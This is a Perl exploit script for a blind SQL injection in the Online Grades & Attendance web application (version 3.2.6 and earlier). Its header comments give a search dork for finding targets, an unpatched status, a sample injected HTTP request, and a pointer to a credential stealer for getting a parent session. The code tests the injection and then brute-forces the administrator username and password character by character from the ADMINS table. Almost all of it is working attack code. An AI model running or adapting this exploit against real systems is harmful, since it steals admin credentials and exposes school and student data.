#!/usr/bin/perl

#

#-----------------------------------------------------------------------
------------

#(Post Form --> 'cc') Blind (SQLi) EXPLOIT --Online Grades & Attendance v-3.2.6-->

#-----------------------------------------------------------------------
------------

#

#CMS INFORMATION:

#

#-->WEB: http://www.onlinegrades.org/

#-->DOWNLOAD: http://www.onlinegrades.org/

#-->DEMO: http://www.onlinegrades.org/demo_info

#-->CATEGORY: CMS / Education

#-->DESCRIPTION: Online Grades is based on the project, Basmati. It has all of the same

# features plus many new features. OG is a web based grade...

#-->RELEASED: 2009-02-05

#

#CMS VULNERABILITY:

#

#-->TESTED ON: firefox 3

#-->DORK: "Powered by Online Grades"

#-->CATEGORY: BLIND SQL INJECTION EXPLOIT

#-->AFFECT VERSION: <= 3.2.6

#-->Discovered Bug date: 2009-05-21

#-->Reported Bug date: 2009-05-21

#-->Fixed bug date: Not fixed

#-->Info patch: Not fixed

#-->Author: YEnH4ckEr

#-->mail: y3nh4ck3r[at]gmail[dot]com

#-->WEB/BLOG: N/A

#-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.

#-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)

#

#

#------------

#CONDITIONS:

#------------

#

#gpc_magic_quotes=OFF

#

#-------

#NEED:

#-------

#

#Valid registered parent (PHPSESSID) (Use credentials stealer --> http://www.securityfocus.com/archive/1/503944/30/0/threaded)

#

#Used this post info --> TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101

#

#---------------------------------------

#PROOF OF CONCEPT (SQL INJECTION):

#---------------------------------------

#

#POST http://www.onlinegrades.org/demo/parents/parents.php?func=showteachermem
o HTTP/1.1

#Host: www.onlinegrades.org

#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Paros/3.2.13

#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

#Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3

#Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

#Keep-Alive: 300

#Proxy-Connection: keep-alive

#Referer: http://www.onlinegrades.org/demo/parents/parents.php?func=showreportcard

#Cookie: SESS82c464aff4a6373c38ca1d81df10661e=li1lag4844furho010a5ok8uq7; PHPSESSID=2ofepluotebqj7qu009qskaeg7

#Content-Type: application/x-www-form-urlencoded

#Content-length: 72

#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101
'+AND+1=1# --> TRUE

#TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101
'+AND+1=0# --> FALSE

#

#######################################################################

#######################################################################

##*******************************************************************##

## SPECIAL GREETZ TO: Str0ke, JosS, Ulises2k, J. McCray, Evil1 ... ##

##*******************************************************************##

##-------------------------------------------------------------------##

##*******************************************************************##

## GREETZ TO: SPANISH H4ck3Rs community! ##

##*******************************************************************##

#######################################################################

#######################################################################

#

#

use LWP::UserAgent;

use HTTP::Request;

#Subroutines

sub lw

{

my $SO = $^O;

my $linux = "";

if (index(lc($SO),"win")!=-1){

$linux="0";

}else{

$linux="1";

}

if($linux){

system("clear");

}

else{

system("cls");

system ("title Online Grades Attendance v-3.2.6 Blind SQL Injection Exploit");

system ("color 04");

}

}

sub request {

my $userag = LWP::UserAgent->new;

$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');

if($_[2] eq "post"){

$request = HTTP::Request -> new(POST => $_[0]);

$request->referer($_[0]);

$request->header(cookie => "PHPSESSID=".$_[3]);

$request->content_type('application/x-www-form-urlencoded');

$request->content($_[1]);

}else{

$request = HTTP::Request -> new(GET => $_[0]);

}

my $outcode= $userag->request($request)->as_string;

#print $outcode; #--> Active this line for debugger mode

return $outcode;

}

sub error {

print "\t------------------------------------------------------------\n";

print "\tWeb isn't vulnerable!\n\n";

print "\t--->Maybe:\n\n";

print "\t\t1.-Patched.\n";

print "\t\t2.-Bad path or host.\n";

print "\t\t3.-Bad PHPSESSID value.\n";

print "\t\t4.-Bad POST value.\n";

print "\t\tEXPLOIT FAILED!\n";

print "\t------------------------------------------------------------\n";

}

sub errormagicquotes {

print "\t------------------------------------------------------------\n";

print "\tWeb isn't vulnerable!\n\n";

print "\t\tRaison--> Magic quotes ON.\n";

print "\t\tEXPLOIT FAILED!\n";

print "\t------------------------------------------------------------\n";

}

sub testedblindsql {

print "\t-----------------------------------------------------------------\n";

print "\tWEB MAYBE BE VULNERABLE!\n\n";

print "\tTested Blind SQL Injection.\n";

print "\tStarting exploit...\n";

print "\t-----------------------------------------------------------------\n\n
";

}

sub helper {

print "\n\t[!!!] Online Grades & Attendance <= v-3.2.6 Blind SQLi Exploit\n";

print "\t[!!!] USAGE MODE: [!!!]\n";

print "\t[!!!] perl $0 [HOST] [PATH] [PHPSESSID] [POST]\n";

print "\t[!!!] [HOST]: Web.\n";

print "\t[!!!] [PATH]: Home Path.\n";

print "\t[!!!] [PHPSESSID]: Set PHPSESSID value\n";

print "\t[!!!] [POST]: Set POST value\n";

print "\t[!!!] Example: perl $0 'www.onlinegrades.org' 'demo' 'ej67dt4jdjd57fdv6fkvqquh05' 'TchrUserID=faculty%40onlinegrades.org&sid=4122&schoolid=DEMO&cc=LART101
' \n";

}

sub brute_length{

#Column length

$exit=0;

$i=0;

while($exit==0){

my $blindsql=$_[2]."'+AND+(SELECT+length(".$_[1].")+FROM+ADMINS+WHERE+id=1)
=".$i++."#"; #injected code

$output=&request($_[0],$blindsql,'post',$_[3]);

if($output !~ (/Can't get Memo info for Course Code/)){

$exit=1;

}else{

$exit=0;

}

#This is the max length of client_id and client_pw

if($i>80){

&error;

exit(1);

}

}

#Save column length

$length=$i-1;

print "\t<<<<<--------------------------------------------------------->>>>>\n
";

print "\tLength catched!\n";

print "\tLength ".$_[1]." --> ".$length."\n";

print "\tWait several minutes...\n";

print "\t<<<<<--------------------------------------------------------->>>>>\n
\n";

return $length;

}

sub exploiting {

#Bruteforcing values

$values="";

$k=1;

$z=45;

while(($k<=$_[1]) && ($z<=126)){

my $blindsql=$_[3]."'+AND+ascii(substring((SELECT+".$_[2]."+FROM+ADMINS+WHE
RE+id=1),".$k.",1))=".$z."#";

$output=&request($_[0],$blindsql,'post',$_[4]);

if ($output !~ (/Can't get Memo info for Course Code/))

{

$values=$values.chr($z);

$k++;

$z=45;

}

#new char

$z++;

}

return $values;

}

#Main

&lw;

print "\t#######################################################\n\n";

print "\t#######################################################\n\n";

print "\t## Online Grades & Attendance <= v-3.2.6 ##\n\n";

print "\t## Blind SQL Injection Exploit ##\n\n";

print "\t## ++Conditions: magic_quotes=OFF ##\n\n";

print "\t## ++Needed: Registered parend (PHPSESSID) ##\n\n";

print "\t## Author: Y3nh4ck3r ##\n\n";

print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";

print "\t## Proud to be Spanish! ##\n\n";

print "\t#######################################################\n\n";

print "\t#######################################################\n\n";

#Init variables

my $host=$ARGV[0];

my $path=$ARGV[1];

my $PHPSESSID=$ARGV[2];

my $POST=$ARGV[3];

$numArgs = $#ARGV + 1;

if($numArgs<=3)

{

&helper;

exit(1);

}

#Build uri

my $finalhost="http://".$host."/".$path."/parents/parents.php?func=showteac
hermemo";

my $phpinfo="http://".$host."/".$path."/include/phpinfo.php";

#magic quotes on?

$output=&request($phpinfo,0,'get',0);

if($output=~(/\<tr\>\<td class\=\"e\">magic\_quotes\_gpc\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<td class\=\"v\"\>On\<\/td\>\<\/tr\>/)){

&errormagicquotes;

exit(1);

}

$finalrequest = $finalhost;

#Testing blind sql injection

$send_post1=$POST."'+AND+1=0#";

$output1=&request($finalrequest,$send_post1,'post',$PHPSESSID);

$send_post2=$POST."'+AND+1=1#";

$output2=&request($finalrequest,$send_post2,'post',$PHPSESSID);

if ($output1 eq $output2)

{

#Not injectable

&error;

exit(1);

}else{

#blind sql injection is available

&testedblindsql;

}

#Bruteforcing length

$length_user=&brute_length($finalrequest,'client_id',$POST,$PHPSESSID);

#Bruteforcing username...

$user=&exploiting($finalrequest,$length_user,'client_id',$POST,$PHPSESSI
D);

#Bruteforcing length

$length_pw=&brute_length($finalrequest,'client_pw',$POST,$PHPSESSID);

#Bruteforcing password...

$pw=&exploiting($finalrequest,$length_pw,'client_pw',$POST,$PHPSESSID);

#final checking

if((!$user) || (!$pw)){

&error;

exit(1);

}

print "\n\t\t*************************************************\n";

print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n";

print "\t\t*************************************************\n\n";

print "\t\tAdmin-username: ".$user."\n";

print "\t\tAdmin-password: ".$pw."\n\n";

print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";

print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n";

print "\t\t<<------------------------EOF---------------------->>\n\n";

exit(1);

#Ok...all job done

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